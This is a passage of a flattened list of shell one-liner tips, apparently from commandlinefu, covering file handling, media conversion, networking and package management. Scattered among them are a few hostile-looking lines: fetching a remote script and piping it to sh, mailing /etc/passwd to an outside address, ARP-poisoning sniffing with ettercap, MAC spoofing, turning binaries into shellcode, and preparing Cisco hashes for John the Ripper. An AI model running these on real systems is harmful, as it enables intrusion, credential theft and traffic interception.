done; local IFS=:; printf '%s\n' "${!path[*]}"; } # Create a backup of the file. cp path/filename{,-$(date +%Y-%m-%d)} # Empty a file > [filename].txt # Find out what files are changed or added in a git repository. git log --name-only | less # replace deprecated php-function split in php files sed -i s/split\(/explode\(/ whatever.php # Source multiline grep with pcregrep pcregrep --color -M -N CRLF "owa_pattern\.\w+\W*\([^\)]*\)" source.sql # Recursive source regexp search with pcregrep pcregrep -r --exclude_dir='.svn' --include='.*jsp$' -A 2 -B 2 --color "pHtmlHome" . # redirecting stdout of multiple commands { command1 args1 ; command2 args2 ; ... } # Execute the command given by history event number !<number> # kill all foo process ps -ef | grep [f]oo | awk '{print $2}' | xargs kill -9 # Fast grepping (avoiding UTF overhead) export LANG=C; grep string longBigFile.log # convert flv into avi file and mp3 sound mencoder input.flv -ovc lavc -oac mp3lame -o output.avi # Read just the IP address of a device ifconfig -l | xargs -n1 ipconfig getifaddr 2> /dev/null # Extracts PDF pages as images convert in.pdf out.jpg # Generate MD5 of string and output only the hash checksum in a readable format echo -n "String to MD5" | md5sum | sed -e 's/../& /g' -e 's/ -//' # Count new mail mail -H | grep '^.U' | wc -l # read old reversion of file cvs up -r1.23 -p main.cpp | vim - # print an 'hello world' echo 'hello world' # a function to find the fastest free DNS server timeDNS () { { for x in "${local_DNS}" "208.67.222.222" "208.67.220.220" "198.153.192.1" "198.153.194.1" "156.154.70.1" "156.154.71.1" "8.8.8.8" "8.8.4.4"; do ({ echo -n "$x "; dig @"$x" "$*"|grep Query ; }|sponge &) done ; } | sort -n -k5 ; } # locate a filename, make sure it exists and display it with full details locate -e somefile | xargs ls -l # Check syntax of all Perl modules or scripts underneath the current directory for code in $(find . -type f -name '*.p[ml]'); do perl -c "$code"; done # Use a variable in a find command. Useful in scripting. find . -iname \*${MYVAR}\* -print # Get the amount of users currently registered at the DudaLibre.com Linux Counte r.curl --silent http://www.dudalibre.com/gnulinuxcounter?lang=en | grep users | head -2 | tail -1 | sed 's/.*<strong>//g' | sed 's/<\/strong>.*//g' # List your MACs address echo | ifconfig | grep HWaddr # reverse order of file printf "g/^/m0\nw\nq"|ed $FILE # Put at the end of the rsa public key an comment(default value is the hostname) ssh-keygen -C hello@world # List all packages with no dependencies (yum based system) package-cleanup --leaves --all # grep or egrep 'string1|string2' file # Send Disk usage via email #!/bin/sh #du.sh i=`hostname -i` df -h > /tmp/space.txt echo "server $i " >> /tm p/space.txt uuencode /tmp/space.txt space.txt | mail -s "HDD usage $i" email@email.com # reload config source .bashrc # Install evertything with the prefix pidgin or wathever apt-cache search pidgin* | awk '{print$ 1}' | tr '\n' ' ' | xargs aptitude -y install # Make a HTTP request using curl with POST method curl --verbose -d "hello=world" http://mydomain.com # Download entire website for offline viewing $ wget --mirror -p --convert-links -P ./<LOCAL-DIR> <WEBSITE-URL> # search for files or directories, then show a sorted list of just the unique di rectories where the matches occurfor i in $(locate your_search_phrase); do dirname $i; done | sort | uniq # Send SNMP traps sudo snmptrap -m ALL -v 2c -c public trapserver "" UCD-DEMO-MIB::ucdDemoPublic SNMPv2-MIB::sysLocation.0 s "Just here" # FINDING PCI DEVICES /sbin/lspci (-v is verbose) # make directory mkdir /tmp/dir1/{0..20} # Current sub-folders sizes du -sh * # Rearrange words from a file perl -lane 'print "$F[0]:$F[1]:$F[2]"' myfile # Converts ext2 to ext3 tune2fs -j /dev/sdX # Find Man pages for everything in your $PATH unset MANPATH; manpath >/dev/null # Use a variable in a find command. Useful in scripting. find "$1" -iname "*$2*" # Locate config files of the program strace -e open zim 2>&1 1>/dev/null | fgrep ~ | fgrep -v "= -1" | cut -d'"' -f2 # unbuffered tcpdump tcp(){ tcpdump -nUs0 -w- -iinterface $1|tcpdump -n${2-A}r- ;} usage: tcp '[primitives]' [X|XX] # remove files of a specific size find . -size 1400c -exec rm {} \; # fetch 1600 jokes from robsjokes.com into a single file, which is fortunable for i in `seq -w 1600` ; do links -dump http://www.robsjokes.com/$i/index.html | sed '/Random Joke/,/Next Joke/!d' | sed '/^$/,/^$/!d' >> ~/temp/Rob.jokes ; echo '%' >> ~/temp/Rob.jokes ; done # add all files not under version control to repository svn add $(svn st|grep ^\?|cut -c2-) # Make a playlistfile for mpg321 or other CLI player find /DirectoryWhereMyMp3sAre/ -name *.mp3 | grep "andy" > ~/mylist # install package which provides some libraries in fedora yum whatprovides /usr/lib/libXX1.so /usr/lib/libXX2.so | grep fc | sed 's/^\(.*\)-[0-9.]*-.*$/\1/' | sort | uniq | xargs yum -y install # get newest file in current directory find . -maxdepth 1 -printf '%A@\t%p\n' | sort -r | cut -f 2,2 | head -1 # Set executable permissions only to executable files while IFS= read -r -u3 -d $'\0' file; do file "$file" | egrep -q 'executable|ELF' && chmod +x "$file"; done 3< <(find . -type f -print0) # recursively change file name extensions find . -type f -name \*.c | while read f; do mv $f "`basename $f .c`".C; done # Compare a file with the output of a command or compare the output of two comma ndsvimdiff foo.c <(bzr cat -r revno:-2 foo.c) # Verbosely delete files matching specific name pattern, older than 15 days. find /backup/directory -name "FILENAME_*" -mtime +15 -exec rm -vf {}; # Spoof your wireless MAC address on OS X to 00:e2:e3:e4:e5:e6 sudo ifconfig en1 ether 00:e2:e3:e4:e5:e6 # Iterate through a file where instead of Newline characters, values are separat ed with a non-white space character.while [[ COUNTER -le 10 && IFS=':' ]]; do for LINE in $(cat /tmp/list); do some_command(s) $LINE; done; COUNTER=$((COUNTER+1)); done # File without comments or blank lines. gawk '!/^[\t\ ]*#/{print $0}' filename | strings # Total procs, avg size (RSS) and Total mem use ps awwwux | grep httpd | grep -v grep | awk '{mem = $6; tot = $6 + tot; total++} END{printf("Total procs: %d\nAvg Size: %d KB\nTotal Mem Used: %f GB\n", total, mem / total, tot / 1024 / 1024)}' # dos2unix $ perl -pi -e 's/\r\n/\n/g' <finelame> # Copy files from list with hierarchy cat files.txt | xargs tar -cv | tar -x -c $DIR/ # Get number of diggs for a news URL curl -s "http://services.digg.com/stories?link=$NEWSURL&appkey=http://www.whatever.com&type=json" | python -m simplejson.tool | grep diggs # Mount Windows shared folder (or Samba share) smbmount //<ip>/<resource> <local_mount_point> # Kill all windows in one go in gnu screen bindkey ^f at "#" kill # To convert **.wav to **.mp3 using LAME running one process per CPU core run: parallel -j+0 lame {} -o {.}.mp3 ::: *.wav # YouTube Convert and Download All User's Videos to MP3s on the fly Command in description (Your command is too long - please keep it to less than 255 characters) # Kill a process by its partial name killall -r 'a regular expression' # Add DuckDuckGo Search as search provider on gnome-shell cd /usr/share/gnome-shell/search_providers/ && cat google.xml | sed "s/www.google.com\/search/duckduckgo.com\//; s/Google/DuckDuckGo/g" > duckduckgo.xml # make directory $ mkdir -p /tmp/dir1/{0..20} # alias dir to ls -al alias dir="ls -al" # Backup your precious Tomato Router Stats curl http://root:PASSWORD@ROUTER_DYN_DNS/bwm/tomato_rstatsa001839ceb1d4.gz?_http_id=HTTPID > $HOME/Dropbox/Backups/tomato_stats.gz # List all mounted drives and their accompanying partitions from OS X Terminal diskutil list # Count files by extension find . -type f | sed -n 's/..*\.//p' | sort -f | uniq -ic # Clear IPC Message Queue ipcs -a | grep 0x | awk '{printf( "-Q %s ", $1 )}' | xargs ipcrm # Convert a DMG file to ISO in OS X Terminal hdiutil convert /path/imagefile.dmg -format UDTO -o /path/convertedimage.iso # How to get full tread dump for java process kill -3 PID # Check the MD5 diff -ua <(w3m -dump http://www.php.net/downloads.php|fgrep -A1 '5.2.15 (tar.bz2)'|awk '/md5:/{print $2}') <(md5sum php-5.2.15.tar.bz2|awk '{print $1}') # Passwordless mysql{,dump,admin} via my.cnf file echo -e "[client]\nuser = YOURUSERNAME\npassword = YOURPASSWORD" > ~/.my.cnf # Test network performance, copying from the mem of one box, over the net to the mem of anotherdd if=/dev/zero bs=256M count=1 | nc [remoteIP] [remotePort] and on the other host nc -l port >/dev/null # Check if a .no domain is available check_dns_no() { for i in $* ; do if `wget -O - -q http://www.norid.no/domenenavnbaser/whois/?query=$i.no | grep "no match" &>/dev/null` ; then echo $i.no "available" ; fi ; sleep 1 ;done } # Convert an ISO file to DMG format in OS X Terminal hdiutil convert /path/imagefile.iso -format UDRW -o /path/convertedimage.dmg # File without comments or blank lines. sed 's/[[:blank:]]*#.*//; /^$/d' filename # Concating pdf files gs -q -sPAPERSIZE=a4 -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=out.pdf 1.pdf 2.pdf 3.pdf 4.pdf # capture screen and mic ffmpeg -f alsa -i default -f x11grab -s sxga -r 10 -i :0.0 -f mp4 -s vga -sameq out.mp4 # change mac address ifconfig eth0 hw ether 00:11:22:33:44:55 # Create a file list of all package files installed on your Red-Hat-like system for easy greppingfor i in `rpm -qva | sort ` ; do ; echo "===== $i =====" ; rpm -qvl $i ; done > /tmp/pkgdetails # Grap all images with the tags 'bitch' and 'bw' from a flickr photofeed for URL in `wget -O - http://api.flickr.com/services/feeds/photos_public.gne?tags=bitch,bw 2>/dev/null | grep -E -o "http[^ ]+?jpg" | grep -v "_m" | uniq | grep -v 'buddy' `; do FILE=`echo $URL | grep -E -o "[0-9a-z_]+\.jpg"`; curl $URL > $FILE; done; # lists contents of a tar file tar -tf /path/to/file.tar # Enable NetworkManager (in KDE) dbus-send --system --print-reply --dest=org.freedesktop.NetworkManager /org/freedesktop/NetworkManager org.freedesktop.NetworkManager.Enable boolean:true # MSDOS command to check existance of command and exit batch if failed <command> >NUL 2>&1 || ( echo <Command> not found. Please install <command> or check PATH variable! & pause & exit ) # Test your total disk IO capacity, regardless of caching, to find out how fast the TRUE speed of your disks aretime dd if=/dev/zero of=blah.out oflag=direct bs=256M count=1 # ruby one-liner to get the current week number ruby -e 'require "date"; puts DateTime.now.cweek' # download and run script from trusted webserver wget -qO - sometrusted.web.site/tmp/somecommand | sh # Compile python script. Generated file will overwrite anything at /path/to/scri pt.pycpython -c $(echo -e 'import py_compile\npy_compile.compile("/path/to/script.py")'); # move contents of the current directory to the parent directory, then remove cu rrent directory.mv -n * ../; cd ..; rmdir $OLDPWD # Find all videos under current directory using MIME a.k.a not using extension allVideos() { find ./ -type f -print0 | xargs -0 file -iNf - | grep ": video/" | cut -d: -f1; } # moreplayingaround curl -s -u username:passwd http://twitter.com/statuses/friends_timeline.rss|grep title|sed -ne 's/<\/*title>//gp' |festival --tts # Strip out time difference entries when verifying rpms on x86_64 RHEL systems rpm -Va | grep -v "\.\.\.\.\.\.\.T" # Generate Random Passwords dd if=/dev/urandom count=200 bs=1 2>/dev/null | tr "\n" " " | sed 's/[^a-zA-Z0-9]//g' | cut -c-16 # Consistent Oracle Datapump Export expdp user/password FLASHBACK_SCN=$(echo -e "select current_scn from v\$database;" | sqlplus / as sysdba 2>/dev/null| grep [0-9][0-9][0-9][0-9][0-9][0-9]*) # Disaster Snapshot (procmail) for x in `grep server /tmp/error.log | awk '{print $3}'`; do \ t=`date "+%d-%m-%H%M%S"` ; ssh -q -t admin@$x.domain.com 'pstree -auln' > ~/snapshots/$x-$t.out \ done # Calculate the size in MB of all files of a certain extension find . -type f -iname '*.msh' -exec ls -lG {} \; | awk '{total = total + $4}END{print "scale=2;" total "/2^20"}' | bc # Mount FileVault sparsebundle image manually (e.g.: from TimeMachine disk). hdiutil mount -owners on -mountrandom /tmp -stdinpass /path/to/my.sparsebundle # Check in current directory to SVN with commical/terrible commit message. (Plea se don't actually run this command!)svn ci -m "$(curl -s http://whatthecommit.com | sed -n '/<p>/,/<\/p>/p' | sed '$d' | sed 's/<p>//')" # Run query on remote database and output results as csv mysql -u[user] -p[password] -h [hostname] -D [database] -ss -e "select * from mysql_tbl " | sed 's/\t/","/g;s/^/"/;s/$/"/;s/\n//g' > dump.csv # Boot block devices as virtual devices in Virtual Box VBoxManage internalcommands createrawvmdk -filename [path/to/file/name.vmdk] -rawdisk /dev/[block_device] # Easily move around many directories a() { alias $1=cd\ $PWD; } # Resolve the "all display buffers are busy, please try later" error on a Foundr ydm display-buffer reset # Drag A Dashboard Widget Onto OS X Desktop defaults write com.apple.dashboard devmode YES # let a cow tell you your fortune fortune | cowsay -f tux # Get the latest ftp file from ftp server on local machine with lftp and bash. ( Piped commands inside lftp).ftp-latest <<< "cd /; cls -1 | tail -1 | xargs -I% echo get % | /PATH/TO/ftp-latest" # Search vmware vmx files if Linux guests are set to sync time to host for x in `find /vmfs/volumes/ -name *vmx -exec grep -H linux.iso {} \; |cut -d : -f 1`; do echo $x; grep -i sync $x; done; # Comment out all lines in a file beginning with string sed -i '/^somestring/ s/^/#/' somefile.cfg # Change Mac OS X Login Picture defaults write /Library/Preferences/com.apple.loginwindow DesktopPicture "/System/Library/CoreServices/Finder.app/Contents/Resources/vortex.png" # A better 'apt-cache' using Xapian to rank results axi-cache search <searchterm> # Combine DVD Studio Pro DDP layers back into a DVD disc image for testing cat dvd_output/Layer0/IMAGE.DAT dvd_output/Layer1/IMAGE.DAT > dvd.iso # Given $PID, print all child processes on stdout ps axo pid,ppid | awk "{ if ( \$2 == $PID ) { print \$1 }}") # Recursively touch all files and subdirectories find . -exec touch {} \; # Find lines of code (LOC) of a filetype in a project. find . -type f -name "*.py" -exec wc -l {} \; | awk '{ SUM += $1} END {print SUM }' # Find all e-mails older than 7 days in the queue and delete them find /var/spool/mqueue -type f -mtime +7 | perl -lne unlink # Get length of array in zsh $foo[(I)$foo[-1]] # commit message generator - whatthecommit.com curl -s http://whatthecommit.com | html2text | sed '$d' # Find out which process uses an old lib and needs a restart after a system upda tesudo lsof | grep 'DEL.*lib' | cut -f 1 -d ' ' | sort -u # Find all processes running under your username. ps -ef | grep $USER # How to know if your NIC receive link watch ethtool eth0 # Finds all of the mailers being used in your rails app egrep -r '(render_message|multipart).*('`find app/views -name '*.erb' | grep mailer | sed -e 's/\..*//' -e 's/.*\///' | uniq | xargs | sed 's/ /|/g'`')' app/models # Talk to the doctor (Eliza-like) emacs <ESC+x> doctor # Commit current modified or added files in current svn repository svn status | grep -v ? | awk '{print $2}' > file.svn.txt && svn ci --targets file.svn.txt -m "[your commit message here]" # Debian's apt-get License preferences selection echo -e "package1 option1/question1 boolean true\npackage2 option2/question2 boolean true\n" > autoprefs; sudo debconf-set-selections < autoprefs; rm autoprefs # Download all images from a 4chan thread curl -s http://boards.4chan.org/wg/|sed -r 's/.*href="([^"]*).*/\1\n/g'|grep images|xargs wget # edit list of files in last command vi `!!` # Add the sbin directories to your PATH if it doesn't already exist in ZSH. path+=( /sbin /usr/sbin /usr/local/sbin ); path=( ${(u)path} ); # List files with full path ls -d $PWD/* # Convert .flv to .avi ffmpeg -i file.flv file.avi # Find the USERid of a SUDOed user REALUSERID=`TTYTEST=$(ps | awk '{print $2}' |tail -1); ps -ef |grep "$TTYTEST$" |awk '{print $1}'`;echo $REALUSERID # Simple file wipe for F in `find ./ -type f`;do SIZE=`ls -s $F | awk -F" " '{print $1}'`; dd if=/dev/urandom of=$F bs=1024 count=$SIZE;done # Remove i386 RPM packages from x86_64 CentOS/RHEL yum remove `rpm -qa --qf "%{n}.%{arch}\n"|grep i386` # Batch rename files by their epoch last modified time. for i in somefiles*.png ; do echo "$i" ; N=$(stat -c %Y $i); mv -i $i $N.png; done # use !$ to retrieve filename used with last command vim !$ # backup mysql database 0 0 * * 0 /usr/bin/mysqldump -uroot -p'<password>' data_base_name > /home/bob/XYZ_DB_BACKUP/$(date +\%Y-\%m-\%d_\%Hh\%M).sql # Cloack an IP range from some IPs via iptables iptables -A FORWARD -i br0 -m iprange --src-range 192.168.0.x-192.168.0.y -m iprange --dst-range 192.168.0.w-192.168.0.z -j DROP # list all files in a directory, sorted in reverse order by modification time, u se file descriptors.ls -Fart # displays comments from random jpeg files. find ~/random_jpegs/folder -name "*.jpg" -exec rdjpgcom {} \; # Remove leading zeros in multiple columns with sed sed 's/\b\(0*\)//g' filename # Extract multiple file in a directory for i in *.tar.gz; do tar -xzf $i; done # put environment variable in history to edit print -s "PATH='$PATH'" # Transfer sqlite3 data to mysql sqlite3 mydb.sqlite3 '.dump' | grep -vE '^(BEGIN|COMMIT|CREATE|DELETE)|"sqlite_sequence"' | sed -r 's/"([^"]+)"/`\1`/' | tee mydb.sql | mysql -p mydb # Persistent saving of iptables rules iptables-save > firewall.conf; rm -f /etc/network/if-up.d/iptables; echo '#!/bin/sh' > /etc/network/if-up.d/iptables; echo "iptables-restore < firewall.conf" >> /etc/network/if-up.d/iptables; chmod +x /etc/network/if-up.d/iptables # Copy a file over SSH without SCP cat LOCALFILE | ssh HOST "cat > REMOTEFILE" # SoX recording audio and trimming silence sox -t alsa default ./recording.flac silence 1 0.1 5% 1 1.0 5% # Count the number of deleted files find /path/folder -type f -name "*.*" -print -exec rm -v {} + | wc -l; # Quick aliases for going up a directory tree alias ::='cd ../../' # convert binary data to shellcode hexdump -v -e '"\\""x" 1/1 "%02x" ""' <bin_file> # YouTube Convert and Download All User's Videos to MP3s on the fly Command in description (Your command is too long - please keep it to less than 255 characters) # Google dictionary of word definitions wget -qO - "http://www.google.com/dictionary/json?callback=dict_api.callbacks.id100&q=steering+wheel&sl=en&tl=en&restrict=pr,de&client=te" | sed 's/dict_api\.callbacks.id100.//' | sed 's/,200,null)//' # gets the bare ip(s) of a domain dig commandlinefu.com | sed -nr 's/^[^;].*?\s([.0-9]{7,15})$/\1/ p' # When need to compress the Zope Database python fsrecovery.py -P 0 -f <path-to-instance>/Data.fs <path-to-instance-destination>/Data.fs.packed # create an application launcher shortcut that allow only one process of it runn ingsh -c 'if pgrep x2vnc && env LC_ALL=C xmessage -button "Kill it:0,Ignore it:1" "Another connection is already running. Should I kill it instead of ignoring it?"; then killall x2vnc; fi; x2vnc -passwd /home/Ariel/.vnc/passwd -east emerson:0' # Fixing broken packages in Debian systems sudo dpkg --configure --pending # Renames all files in the current directory such that the new file contains no space characters.for file in *; do mv -v "$file" "$(sed 's/ //g' <(echo $file))"; done # simple perl global search and replace in files perl -pi -e 's/localhost/replacementhost/g' *.php # print code 3-up and syntax-highlighted for easy beach-time study enscript -E -B -3 -r -s 0 --borders -fCourier4.8 --mark-wrapped-lines=arrow # Shorten url using bit.ly API curl -s --data-urlencode 'longUrl='$1 --data-urlencode 'login='$login --data-urlencode 'apiKey='$apikey 'http://api.bit.ly/shorten?version=2.0.1&format=xml' | xmlstarlet sel -T -t -m "//shortUrl" -v "." | line # Random cow tells your fortune files=(/usr/share/cowsay/cows/*);cowsay -f `printf "%s\n" "${files[RANDOM % ${#files}]}"` "`fortune`" # VIM subst any char different from literal " + EOL with searched string + white space:%s/\([^\"]\)\(\n\)/\1 /g # X11vnc starting session command x11vnc -rfbauth /etc/x11vnc.pass -o /tmp/x11vnc.log -forever -bg -noxdamage -rfbport 5900 -avahi -display :0 # find multiple files in directory and perform search and replace on each of the mfiles=$(find /dir/file -name *.txt -exec grep -l a {} \;) && perl -p -i -e 's/old/new/g;' $files # Remove the last string character using rev and cut echo "command lines" | rev | cut -c 2- | rev # Replace strings in files sed -i -e 's/war/peace/g' * # Show a Package Version on Debian based distribution dpkg-query -W -f='${Version}' package-name # Insert text at the end of a root-privileged file echo "text" | sudo tee -a /path/file.conf > /dev/null # Colour part of your prompt red to indicate an error export PS1='[\[\e[36;1m\]\u@\[\e[32;1m\]\h \[\e[31;1m\]\w]# \[\e[0m\]' # get eth0 ip address ip -f inet addr |grep "global eth0$"|awk '{print $2}'|cut -d '/' -f 1 # Download a set of files that are numbered for i in `seq -w 1 50`; do wget --continue \ http://commandline.org.uk/images/posts/animal/$i.jpg; done # Command results as an image capture netstat -rn | convert label:@- netstat.png # Syslog System Reporting in a shell tail -f --retry /var/log/syslog /var/log/auth.log | ccze -A # Watch those evil Red Hat states code D Uninterruptible sleep (usually IO). watch -n 1 "ps aux | sed -n 's/ D /&/p'" # List the size (in human readable form) of all sub folders from the current loc ationdu --max-depth=1|sort -n|cut -f2|tr '\n' '\0'|xargs -0 du -sh 2>/dev/null # List Big Files/Directories du -h |grep -P "^\S*G" # Grabs video from dv firewire camera and plays it on mplayer. dvgrab - | mplayer - # Using Git, stage all manually deleted files. git add -u # Find out actual full path of <file> readlink -f <file> # pick up 3 lines start at every 5th line of file.txt sed -n '1~5{N;N;p}' file.txt # List open TCP/UDP ports netstat -anp --tcp --udp | grep LISTEN # Attach all discovered iscsi nodes iscsiadm -m node -l # Analyze Apache Web Log Statistics starting on DATE x sed -n '/05\/Dec\/2010/,$ p' access.log | goaccess -s -b # Quickly create an alias for changing into the current directory map() { if [ "$1" != "" ]; then alias $1="cd `pwd`"; fi } # Print the lastest stable version of Perl curl -s http://www.perl.org/get.html | grep -m1 '\.tar\.gz' | sed 's/.*perl-//; s/\.tar\.gz.*//' # Mount an ISO image on Mac OS X hdiutil mount sample.iso # List open TCP/UDP ports netstat -ltun # View the newest xkcd comic. curl -s 'xkcd.com' | awk -F\" '/^<img/{printf("<?xml version=\"1.0\"?>\n<xkcd>\n<item>\n <title>%s\n %s\n %s\n\n\n", $6, $4, $2)}' # Extract multiple tar files at once in zsh tar -xi < *.tar # Convert first letter of string to uppercase string="${string^}" # Timer with sound alarm sleep 15m; yes > /dev/dsp # Create a CD/DVD ISO image from disk. cp /dev/cdrom file.iso # repository search aptitude search ~d "irc client"|grep -i "irc client" # Diff with Sections/Headers diff -U 9999 file_a file_b | tail -n +3 | grep -P "^(\ Header|\-|\+)" # convert unixtime to human-readable echo "0t${currentEpoch}=Y" | /usr/bin/adb # Run remote web page, but don't save the results wget -q --spider http://server/cgi/script # Duplicate a line in a text file and replace part of the duplicated line sed -i -e '/foo/p' -e 's/foo/barfoo/' file # Recursively scan directories for mp3s and pass them to mplayer $ find . -iname *.mp3 | while read line ; do ln -s "$line" $(echo -e "$line" | openssl md5).mp3 ; done ; mpg123 *.mp3 # List your interfaces and MAC addresses ifconfig | awk '/HWaddr/ { print $1, $5 }' # show each new entry in system messages as a popup tail -n0 -f /var/log/messages | while read line; do notify-send "System Message" "$line"; done # pipe commands from a textfile to a telnet-server with netcat nc $telnetserver 23 < $commandfile # print scalar gmtime perl -e "print scalar(gmtime(1247848584))" # Find large files in current directory alias big='BIG () { find . -size +${1}M -ls; }; BIG $1' # View all new log messages in real time with color find /var/log -iregex '.*[^\.][^0-9]+$' -not -iregex '.*gz$' 2> /dev/null | xargs tail -n0 -f | ccze -A # command for converting wav files to mp3 find . -iname "*wav" > step1 ; sed -e 's/\(^.*\)wav/\"\1wav\" \"\1mp3\"/' step1 > step2 ; sed -e 's/^/lame /' step2 > step3 ; chmod +x step3 ; ./step3 # List all rpms on system by name, version and release numbers, and architecture rpm -qa --qf '%{name}-%{version}-%{release}.%{arch}\n' # alias for etckeeper, to commit changes after moification of etc function ec() { ec_var="`pwd`" && cd /etc/ && sudo bzr commit -m "$@" && cd $ec_var; } # get time in other timezones let utime=$offsetutc*3600+$(date --utc +%s)+3600; date --utc --date=@${utime} # Quick Full Screen RDP connection alias rdp='rdesktop -u -g 1600x1200 -D -r disk:home=/home -r clipboard:PRIMARYCLIPBOARD' # Convert HTML file into valid XML tidy -asxhtml -numeric < index.html > index.xml # Exit shell faster ^D # Do a search-and-replace in a file after making a backup for file in ; do cp $file{,.bak} && sed 's/old/new/g' $file.bak > $file; done # Triangular Number echo $(echo $(seq $MIN $MAX) | sed 's/ /+/g') | bc -l # floating point operations in shell scripts exp="(2+3.0)/7.0*2^2"; val=$(awk "BEGIN {print $exp}" /dev/null) # Which machine have I logged in from? TTY=$(tty | cut -c 6-);who | grep "$TTY " | awk '{print $6}' | tr -d '()' # Find and remove files find / -name core | xargs /bin/rm -f # Find C/C++ source code comments perl -ne 'print if m{\Q/*\E}x .. m{\Q*/\E}x or m{\/\/}x' *.c # Sniff who are using wireless. Use wireshark to watch out.pcap :] sudo ettercap -T -w out.pcap -i wlan0 -M ARP // // # Tar Pipe (cd src && tar -cf - .) | (cd dest && tar -xpf -) # get time in other timezones tzwatch # Simple Comment an entire file sed -i 's/^/#/' FILENAME # Changing the terminal title to the last shell command [[ "x$TERM" == "xrxvt" || "x$XTERM_VERSION" == xXTerm* || "x$COLORTERM" == 'gnome-terminal' && "x$SHELL" == */bin/zsh ]] && preexec () { print -Pn "\e]0;$1\a" } # Show a Package Version on Debian based distribution aptitude -F '%p %v#' search # Send multiple attachments using mailx (uuencode foo.txt foo.txt; uuencode /etc/passwd passwd.txt)|mailx -s "Pandaren!" someone@cmdfu.com # Get all links of a website dog --links "http://www.domain.com" # tar's and moves all contents of current directory to target dir tar cf - . |(cd /targetdir; tar xvf -) # remove comments from xml cat | perl -e '$/ = ""; $_ = <>; s///gs; print;' # recursive grep of text files grep -Ir foo * # generate the moduli file for openssh if lost ssh-keygen -G /tmp/moduli-2048.candidates -b 2048 # OSX Expand URL and Copy to Clipboard function expand_url() { curl -sI $1 | grep Location: | cut -d " " -f 2 | tr -d "\n" | pbcopy } # (tcsh alias)Reverse an IPv4 address. It is useful to looking the address up in DNSBL.alias ip4rev "echo \!* | sed 's/^\([0-9]*\)\.\([0-9]*\)\.\([0-9]*\)\.\([0-9]*\)/\4.\3.\2.\1/'" # automatically add and remove files in subversion svn st | grep '^\?' | awk '{print $2}' | xargs svn add; svn st | grep '^\!' | awk '{print $2}' | xargs svn rm # what?s running on a given port on your machine? lsof -i -n -P | grep :80 # Manage "legacy" service run control links sudo find /etc/rc{1..5}.d -name S99myservice -type l -exec sh -c 'NEWFN=`echo {} | sed 's/S99/K99/'` ; mv -v {} $NEWFN' \; # generate random mac address 2>/dev/null dd if=/dev/urandom bs=1 count=6 | od -t x1|sed '2d;s/0000000 *//;s/ /:/g;s/::*$//' # List the CPU model name grep 'model\|MHz' /proc/cpuinfo |tail -n 2 # Find the biggest files find -type f | xargs -I{} du -sk "{}" | sort -rn | head # Figure out what shell you're running ps -o comm= -p $$ # Format a password file for John the Ripper from Cisco configs (Level 5) sed -n 's/[ :]/_/g; s/^\(.\{1,\}\)_5_\($1$[$./0-9A-Za-z]\{27,31\}\)_*$/\1:\2/p' < cisco-device-config > passwd # Enable Basic Security Mode (BSM) Auditing --Solaris /etc/security/bsmconv # cat ~/.ssh/id_rsa.pub | ssh user@site.com "cat - >> ~/.ssh/authorized_keys" concatenate local RSA to remote machine's authorized_keys # Start a vnc session on the currently running X session x0vnc4server -display :0 -PasswordFile ~/.vnc/passwd # get daily wizard of id comic curl -o id.gif `date +http://d.yimg.com/a/p/uc/%Y%m%d/largeimagecrwiz%y%m%d.gif` # get the result of database query in vertical way (Column=Value) vsqlplus "SELECT * FROM TABLE_NAME;" # Clear ARP table in linux. for arptable in `arp | grep "eth1" | cut -d " " -f1`; do arp -d $arptable; done # Find the biggest files find -type f | xargs -I{} du -s "{}" | sort -rn | head | cut -f2 | xargs -I{} du -sh "{}" # Using associative array to remove all files and directories under PWD except " $1", "$2", "$3",..."$n"rmall_but() { declare -A keep;for arg;do keep[${arg%/}]=1;done;for file in *;do [[ ${keep[$file]} ]] || rm -rf "$file";done; } # Tree based ps view "painted" by ccze alias cps="ps -u root U `whoami` --forest -o pid,stat,tty,user,command |ccze -m ansi" # Create etags file of .c, .cpp, and .h files in all subdirectories find . -regex ".*\.[cChH]\(pp\)?" -print | etags - # Download entire commandlinefu archive to single file for x in `jot - 0 \`curl "http://www.commandlinefu.com/commands/browse"|grep "Terminal - All commands" |perl -pe 's/.+(\d+),(\d+).+/$1$2/'|head -n1\` 25`; do curl "http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/$x" ; done >a.txt # orderly shutdown system and reboot. shutdown -r now # Watch netstat output every 2 seconds watch -n 2 netstat -antu # Validating a file with checksum [ "c84fa6b830e38ee8a551df61172d53d7" = "$(md5sum myfile | cut -d' ' -f1)" ] && echo OK || echo FAIL # floating point operations in shell scripts wcalc -q <<< '3/5' # Look up a unicode character by name grep -i "$*" /usr/lib/perl5/Unicode/CharName.pm | while read a b; do /usr/bin/printf "\u$a\tU+%s\t%s\n" "$b"; done # For setting of double keyboard layouts: us, ru, but you can write in phonetic like www.translit.rusetxkbmap -layout us,ru -variant basic,phonetic -option -option grp:switch,grp:caps_toggle # Create a folder but first you can test if it exists test -d folder || mkdir folder # Combining video file part downloaded separately using cat command cat video.avi.001 video.avi.002 video.avi.003 >> video.avi # create a colorful image c=blue;convert -size 50x50 xc:$c $c.png; for i in red green yellow; do convert $c.png -background $i -rotate 20 $i.png; rm $c".png"; c=$i; done; mv $i".png" logo.png; display logo.png # Using Git, stage all manually deleted files. for x in `git status | grep deleted | awk '{print $3}'`; do git rm $x; done # Change date from MM/DD/YYYY to YYYY-MM-DD (mysql like) date -d 09/20/1981 +"%Y-%m-%d" # bash chop alias chop="tr -d '\r\n'" # Diff with colour highlighting svn diff ARGUMENTS_FOR_DIFF | source-highlight --out-format=esc --src-lang=diff # ffmpeg vhook imlib2.so ffmpeg -i input.flv -vhook '/usr/lib/vhook/imlib2.so -c white -x 250 -y H+(-1.8*N+80) -t Hallo! -A max(0,255-exp(N/16))' -sameq -acodec copy output.flv # Make ABBA better (requires firefox) wget -O - -q http://www.azlyrics.com/lyrics/abba/takeachanceonme.html | sed -e 's/[cC]hance/dump/g' > ~/tdom.htm && firefox ~/tdom.htm # Mirror every lvol in vg00 in hp-ux 11.31 for i in in $(vgdisplay -v vg00 | grep "LV Name" | awk '{ print $3 };'); do; lvextend -m 1 $i /dev/disk/; done # Parse bookmarks and download youtube files sed 's+href="\([^"]*\)"+\n\1\n+g' bookmarks.html | grep '^http' |clive # Define dettaching commands in bashrc __disown(){ local cmd=$1 ; shift ; $cmd "$@" &> /dev/null &disown }; for i in gvim ; do alias $i="__disown $i"; done # find out which TCP ports are listening and opened by which process in verbose netstat -tlvp # Generat a Random MAC address MAC=$((date +'%Y%m%d%H%M%S%N'; cat /proc/interrupts) | 